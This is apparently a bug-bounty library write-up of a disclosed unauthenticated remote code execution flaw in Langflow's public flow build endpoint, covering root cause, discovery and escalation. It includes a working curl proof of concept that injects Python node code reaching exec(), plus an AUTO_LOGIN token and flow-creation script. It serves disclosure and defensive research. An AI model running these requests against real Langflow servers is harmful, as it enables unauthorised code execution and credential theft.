# Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint

Unauthenticated Langflow endpoint build_public_tmp accepts attacker-supplied flow data whose node code reaches exec(), giving unauthenticated RCE on public-flow instances.

- Payout: Research
- Severity: critical
- Program: Langflow
- Found by: Aviral2642, andifilhohub, srmish-jfrog
- Disclosed: 2026-03-17
- CVE: CVE-2026-33017
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vwmf-pq79-vjvx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-vwmf-pq79-vjvx
- Tags: area:ai domain:ai domain:api impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Langflow API endpoint /api/v1/build_public_tmp/{flow_id}/flow
**Root cause:** The public flow build endpoint is intentionally unauthenticated but accepts an optional attacker-controlled `data` parameter that is parsed into graph nodes; node `code` is extracted and passed to exec() via prepare_global_scope with no sandboxing.
**Steps:**
1. Obtain a public flow UUID (shared link) or, with AUTO_LOGIN=true, `GET /api/v1/auto_login` for a token then `POST /api/v1/flows/` with `"access_type":"PUBLIC"` to create one.
2. Send `POST /api/v1/build_public_tmp/${FLOW_ID}/flow` with cookie `client_id=attacker` and no Authorization header, body containing `data.nodes[0].data.node.template.code.value` set to Python code with a top-level assignment like `_proof = os.popen("id").read()`.
3. Wait for async graph build; the assignment executes during prepare_global_scope's exec() of ast.Assign nodes.
4. Verify execution by reading the file the payload wrote (e.g. `/tmp/rce-proof`).
**How found:** Code reading: noticed build_public_tmp lacks the auth dependency of the sibling build endpoint yet still accepts a `data` body param, then traced data through start_flow_build → create_graph → Graph.from_payload → instantiate_component → eval_custom_component_code → prepare_global_scope → exec(), noting ast.Assign nodes execute at build time.
**Exploitation:** Unauthenticated attacker posts crafted flow JSON to the public build endpoint; graph instantiation extracts the node's `code` field and exec()s it, yielding command execution with server process privileges, enabling env-var/credential exfiltration, reverse shell and lateral movement.
**Escalation:** With AUTO_LOGIN=true (default), attacker first calls /api/v1/auto_login to get a superuser token and creates their own public flow, removing the need to discover an existing one.
**Insight:** When a fix adds auth to one code-exec endpoint (CVE-2025-3248), audit sibling endpoints that are *designed* to stay unauthenticated for any user-supplied data path into the same exec sink; also check whether the graph builder executes top-level assignments, not just function bodies, so payloads fire at build time.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl exploit with malicious node code**

```
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'
```

**AUTO_LOGIN token and public flow creation**

```
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')

# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"
```

**Verification of RCE via proof file**

```
sleep 2

# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali
```

